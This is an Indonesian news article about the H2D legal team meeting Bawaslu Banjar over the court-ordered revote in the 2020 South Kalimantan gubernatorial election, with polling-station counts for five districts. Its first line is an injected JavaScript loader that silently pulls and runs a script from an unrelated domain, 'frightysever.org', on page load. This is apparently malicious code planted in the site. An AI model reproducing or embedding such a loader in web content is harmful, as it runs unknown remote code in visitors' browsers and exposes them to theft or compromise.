(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, MARTAPURA – Cek kesiapan pengawasan Pemungutan Suara Ulang (PSU) Pilgub Kalsel 2020 di Kabupaten Banjar, tim kuasa hukum H2D datangi Bawaslu Banjar.
“Kami sudah mendapat sambutan dari para komisioner Bawaslu lengkap 5 orang, kami datang ke sini bersilaturahmi mengenai kesiapan PSU dalam 60 hari ke depan,” ujar Jurkani, Tim Kuasa Hukum H2D. Kamis (25/3/2021).
Ditambahkan Jurkani berdasarkan putusan MK, Bawaslu sendiri sudah bersiap dan berpijak terhadap Undang Undang Nomor 10 Tahun 2016.
“Dari pertemuan tadi, tentu saya dengan Bawaslu di Kabupaten Banjar ini sudah satu pemikiran, yang mana di kemudian hari diharapkan tidak ada lagi kejadian seperti kecurangan dalam PSU ini,” tutup Jurkani.
Sementara itu Ketua Bawaslu Banjar Fajeri Tamjidillah mengatakan, kedatangan tim hukum H2D ini ke Bawaslu Kabupaten Banjar memang untuk menekankan pelaksanaan PSU yang sesuai dengan peraturan yang ada sehingg Bawaslu dapat bekerja dengan maksimal sebagai mana mestinya, baik dari segi pengawalan hingga pengawasan PSU.
Baca juga : Artis Gabriella Larasati Akui Pemeran di Video Syur 14 Detik
“Diharapkan kita dapat bekerja lebih maksimal lagi, sehingga sesuai dengan peraturan yang ada sesuai fungsi kita saat PSU nanti, sesuai putusan MK memang di 5 Kecamatan yang ada di Kabupaten Banjar suara dikembalikan lagi tentu kami sebagai penyelenggara siap untuk bersinergi dengan Tim Kuasa Hukum maupun Tim Paslon, sehingga kita bisa sama sama saling mengawasi dan memang ini adalah PR kita semuanya,” jelas Fajeri.
Pasca putusan Mahkamah Konstitusi (MK) yang mengabulkan sebagian gugatan Pasangan Calon Gubernur dan Wakil Gubernur Kalimantan Selatan nomor urut 2, H Denny Indrayana dan H Difriadi (H2D) yang berujung pada Pemungutan Suara Ulang (PSU). PSU Pilgub Kalsel 2020 di Kabupaten Banjar, sendiri akan berlangsung di 5 Kecamatan yang ada.
Diketahui, dari lima kecamatan di Kabupaten Banjar yang akan melaksanakan PSU ini totalnya mencapai 502 TPS, diantaranya Kecamatan Sambung Makmur ada 27 TPS, Aluhaluh 63 TPS, Martapura 265 TPS, Mataraman 62 TPS dan Kecamatan Astambul 85 TPS. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.